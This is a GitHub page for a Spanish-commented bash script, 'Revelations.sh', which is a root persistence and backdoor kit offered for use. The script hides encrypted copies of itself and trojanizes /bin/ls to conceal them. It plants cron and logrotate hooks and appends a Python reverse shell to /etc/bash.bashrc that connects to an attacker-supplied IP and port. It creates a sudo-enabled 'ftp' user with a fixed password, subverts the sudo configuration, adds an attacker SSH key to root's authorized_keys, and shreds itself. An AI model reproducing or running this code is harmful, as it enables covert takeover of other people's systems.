-
Notifications
You must be signed in to change notification settings - Fork 0
/
Revelations.sh
162 lines (105 loc) · 4.31 KB
/
Revelations.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/bin/bash
#Comprobar que el script se tira como root
if [[ $EUID -ne 0 ]]; then
echo "Este script debe ejecutarse como root"
exit 1
fi
#Redirigir codigos de error
exec 2>/dev/null
#1////////////////// Copiarse a si mismo, cifrarse y esconderse. ////////////////////////////////
if ! [ -f "/usr/bin/shc" ]
then
sudo apt-get install shc
uninstall=true
fi
shc -f $0
#Hacer las copias
mkdir /...
mkdir /var/...
mkdir /tmp/...
mkdir /opt/...
mkdir /bin/...
cp $0.x.c /var/.../.$0.x.c
cp $0.x.c /.../.$0.x.c
cp $0.x.c /tmp/.../.$0.x.c
cp $0.x.c /opt/.../.$0.x.c
cp $0.x.c /bin/.../.$0.x.c
cp $0.x.c /var/.$0.x.c
cp $0.x.c /tmp/.$0.x.c
cp $0.x.c /opt/.$0.x.c
cp $0.x.c /bin/.$0.x.c
cp $0.x.c /.$0.x.c
#Corromper la funcion de ls
if ! [ -f /.../rma ]
then
sudo mv /bin/ls /.../rma
modate=$(stat /.../rma | cut -f 6 -d $'\n' | cut -f 2,3 -d ' ' | cut -b 1-4,6,7,9,10,12,13,15,16)
sudo touch /bin/ls -t "$modate"
sudo echo 'command /.../rma $1 $2 $3 $4 | grep -E -v "\.\.\.|\.x\.c$" | column' > /bin/ls
sudo chmod +x /bin/ls
fi
#2//////////////Corromper una tarea cron que vuelva a ejecutar el mismo script cada x tiempo para mantener abiertas las vias de permanencia.////////////////////////
#Crear una tarea que ejecute el script a cada hora
sudo touch /etc/cron.d/logrotate
sudo chmod +x /etc/cron.d/logrotate
echo "0 * * * * root bash /.$0.x.c" > /etc/cron.d/logrotate
#Modificar la tarea rsyslog de logrotate para que ejecute el script una vez al dia
echo "/var/log/syslog" > /etc/logrotate.d/rsyslog
echo "/var/log/mail.log" >> /etc/logrotate.d/rsyslog
echo "/var/log/kern.log" >> /etc/logrotate.d/rsyslog
echo "/var/log/auth.log" >> /etc/logrotate.d/rsyslog
echo "/var/log/user.log" >> /etc/logrotate.d/rsyslog
echo "/var/log/cron.log" >> /etc/logrotate.d/rsyslog
echo "{" >> /etc/logrotate.d/rsyslog
echo " rotate 4" >> /etc/logrotate.d/rsyslog
echo " weekly" >> /etc/logrotate.d/rsyslog
echo " missingok" >> /etc/logrotate.d/rsyslog
echo " notifempty" >> /etc/logrotate.d/rsyslog
echo " compress" >> /etc/logrotate.d/rsyslog
echo " delaycompress" >> /etc/logrotate.d/rsyslog
echo " sharedscripts" >> /etc/logrotate.d/rsyslog
echo " postrotate" >> /etc/logrotate.d/rsyslog
echo " /usr/lib/rsyslog/rsyslog-rotate" >> /etc/logrotate.d/rsyslog
echo " /bin/.$0.x.c" >> /etc/logrotate.d/rsyslog
echo " endscript" >> /etc/logrotate.d/rsyslog
echo "}" >> /etc/logrotate.d/rsyslog
#Reiniciar el trabajo de cron.
sudo systemctl restart cron
sudo service cron restart
#3///////////Crear una consola inversa que intente abrirse cada vez que alguien hace login.///////
cat <<EOF >> /etc/bash.bashrc
python3 -c 'exec ("""\nimport socket,subprocess,os,sys\n\npidrg = os.fork()\nif pidrg > 0:\n sys.exit(0)\n\nobs.chdir("/")\n\nos.setsid()\n\nos.umask(0)\n\ndrgpid = os.fork()\nif drgpid > 0:\n sys.exit(0)\n\nsys.stdout.flush()\n\nsys.stderr.flush()\n\nfdreg = open("/dev/null", "w")\n\nsys.stdout = fdreg\n\nsys.stderr = fdreg\n\nsdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\nsdregs.connect(("<YOUR IP HERE>",<PORT>))\n\nos.dup2(sdregs.fileno(),0)\n\nos.dup2(sdregs.fileno(),1)\n\nos.dup2(sdregs.fileno(),2)\n\np=subprocess.call(["/bin/sh","-i"])\n""")'
EOF
#Credit to therealdreg for his marvelous python shell.
#4/////////////////////Crear un usuario zombi con permisos escondidos.//////////////////////
id ftp
if [ $? -eq 1 ]
then
useradd -s /bin/bash ftp
usermod -aG sudo ftp
echo -e "ftpftpftp\nftpftpftp" | passwd ftp
fi
#5//////////Romper el path de sudo para que sea posible volver a escalar privilegios./////////////
sudo cp /etc/sudoers /.../sudoers
sudo echo "%sudo ALL=(ALL:ALL) ALL" >> /.../sudoers
sudo echo "Plugin sudoers_policy sudoers.so sudoers_file=/.../sudoers" >> /etc/sudo.conf
#6////////////Checkear SSH y si existe, anyadir a las claves consentidas la clave privada de la terminal de control./////////
if [ -f /bin/ssh ]
then
if ! [ -d /root/.ssh ]
then
sudo mkdir /root/.ssh
touch /root/.ssh/authorized_keys
fi
echo "YOUR PUBLIC SSH KEY HERE" >> /root/.ssh/authorized_keys
fi
#7///////////////LIMPIEZA/////////////////
#Desinstalar shc si corresponde
if [ "$uninstall" = true ]
then
sudo apt-get purge shc
fi
#Limpiar el binario cifrado de copia
rm $0.x.c
#DESTRUIR EL BINARIO EN TEXTO
shred $0 -f -u -n 9 -z